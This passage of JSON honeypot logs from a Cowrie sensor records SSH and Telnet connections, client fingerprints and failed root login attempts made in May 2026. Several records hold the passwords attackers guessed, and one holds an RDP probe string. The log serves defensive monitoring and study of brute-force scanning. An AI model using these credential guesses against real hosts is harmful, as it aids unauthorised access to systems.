-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:09.854499Z","src_ip":"103.122.221.179","session":"76f4de90dab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rafael","message":"login attempt [root/rafael] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:10.609720Z","src_ip":"103.122.221.179","session":"76f4de90dab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55184,"dst_ip":"10.17.0.5","dst_port":23,"session":"b68f93222138","protocol":"telnet","message":"New connection: 152.42.224.71:55184 (10.17.0.5:23) [session: b68f93222138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:11.602793Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:11.863208Z","src_ip":"103.122.221.179","session":"76f4de90dab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":62655,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6940eeac45b","protocol":"ssh","message":"New connection: 223.197.186.7:62655 (10.17.0.5:22) [session: a6940eeac45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:14.343320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:14.347891Z","src_ip":"223.197.186.7","session":"a6940eeac45b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:14.573663Z","src_ip":"223.197.186.7","session":"a6940eeac45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asterix","message":"login attempt [root/asterix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:15.499931Z","src_ip":"223.197.186.7","session":"a6940eeac45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.336786031723022,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:16.314881Z","src_ip":"152.42.224.71","session":"6fe0a4590f12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:16.720758Z","src_ip":"223.197.186.7","session":"a6940eeac45b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":58058,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e5b7ddc83a","protocol":"ssh","message":"New connection: 43.245.98.60:58058 (10.17.0.5:22) [session: 39e5b7ddc83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:17.752781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:17.760530Z","src_ip":"43.245.98.60","session":"39e5b7ddc83a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:18.007644Z","src_ip":"43.245.98.60","session":"39e5b7ddc83a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatchqwerty","message":"login attempt [root/Netwatchqwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:19.022581Z","src_ip":"43.245.98.60","session":"39e5b7ddc83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:20.273728Z","src_ip":"43.245.98.60","session":"39e5b7ddc83a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48066,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d2f685b3ec7","protocol":"telnet","message":"New connection: 152.42.224.71:48066 (10.17.0.5:23) [session: 7d2f685b3ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:22.460223Z"}
{"eventid":"cowrie.session.closed","duration":120.00172114372253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:22.494227Z","src_ip":"152.42.224.71","session":"add0063f748e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a402bad6085b","protocol":"telnet","message":"New connection: 152.42.224.71:54596 (10.17.0.5:23) [session: a402bad6085b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:33.177349Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":39116,"dst_ip":"10.17.0.5","dst_port":22,"session":"965038c96778","protocol":"ssh","message":"New connection: 43.133.148.170:39116 (10.17.0.5:22) [session: 965038c96778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:37.434676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:37.439711Z","src_ip":"43.133.148.170","session":"965038c96778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:37.693308Z","src_ip":"43.133.148.170","session":"965038c96778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.931701183319092,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:38.391797Z","src_ip":"152.42.224.71","session":"7d2f685b3ec7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer!1234","message":"login attempt [root/Qwer!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:38.738189Z","src_ip":"43.133.148.170","session":"965038c96778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":48032,"dst_ip":"10.17.0.5","dst_port":22,"session":"14016b20d941","protocol":"ssh","message":"New connection: 46.19.67.181:48032 (10.17.0.5:22) [session: 14016b20d941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:38.971419Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:39.995307Z","src_ip":"43.133.148.170","session":"965038c96778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.06284785270691,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:41.604353Z","src_ip":"152.42.224.71","session":"f2e2ba0b7e29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.194.60","src_port":34738,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bc3b71f1453","protocol":"telnet","message":"New connection: 147.182.194.60:34738 (159.203.135.109:23) [session: 7bc3b71f1453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:45.007279Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50234,"dst_ip":"159.203.135.109","dst_port":22,"session":"78605e68a15b","protocol":"ssh","message":"New connection: 152.42.212.128:50234 (159.203.135.109:22) [session: 78605e68a15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:45.663911Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:45.671333Z","src_ip":"152.42.212.128","session":"78605e68a15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:45.674880Z","src_ip":"152.42.212.128","session":"78605e68a15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.95623707771301,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:51.558933Z","src_ip":"152.42.224.71","session":"b68f93222138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":28909,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb5fdde16940","protocol":"ssh","message":"New connection: 223.197.186.7:28909 (10.17.0.5:22) [session: bb5fdde16940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:59.045412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:59.049877Z","src_ip":"223.197.186.7","session":"bb5fdde16940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:59.296906Z","src_ip":"223.197.186.7","session":"bb5fdde16940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alibaba","message":"login attempt [root/alibaba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:00.269771Z","src_ip":"223.197.186.7","session":"bb5fdde16940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:01.493168Z","src_ip":"223.197.186.7","session":"bb5fdde16940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.54110884666443,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:07.610203Z","src_ip":"152.42.224.71","session":"52988ac008ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58884,"dst_ip":"10.17.0.5","dst_port":23,"session":"1104009c6230","protocol":"telnet","message":"New connection: 152.42.224.71:58884 (10.17.0.5:23) [session: 1104009c6230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:08.630146Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45538,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc1b6f104a7e","protocol":"ssh","message":"New connection: 193.37.70.224:45538 (10.17.0.5:22) [session: fc1b6f104a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:18.059538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:18.064528Z","src_ip":"193.37.70.224","session":"fc1b6f104a7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:18.157967Z","src_ip":"193.37.70.224","session":"fc1b6f104a7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"renata","message":"login attempt [root/renata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:18.427766Z","src_ip":"193.37.70.224","session":"fc1b6f104a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:19.522247Z","src_ip":"193.37.70.224","session":"fc1b6f104a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.30363869667053,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:23.480870Z","src_ip":"152.42.224.71","session":"a402bad6085b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":34906,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7208d5c1f7f","protocol":"ssh","message":"New connection: 124.109.2.211:34906 (10.17.0.5:22) [session: f7208d5c1f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:26.671906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:26.676657Z","src_ip":"124.109.2.211","session":"f7208d5c1f7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:26.939871Z","src_ip":"124.109.2.211","session":"f7208d5c1f7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:29.375921Z","src_ip":"124.109.2.211","session":"f7208d5c1f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:30.642625Z","src_ip":"124.109.2.211","session":"f7208d5c1f7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":33160,"dst_ip":"10.17.0.5","dst_port":22,"session":"7593a45cce79","protocol":"ssh","message":"New connection: 43.245.98.60:33160 (10.17.0.5:22) [session: 7593a45cce79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:34.806313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:34.815476Z","src_ip":"43.245.98.60","session":"7593a45cce79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp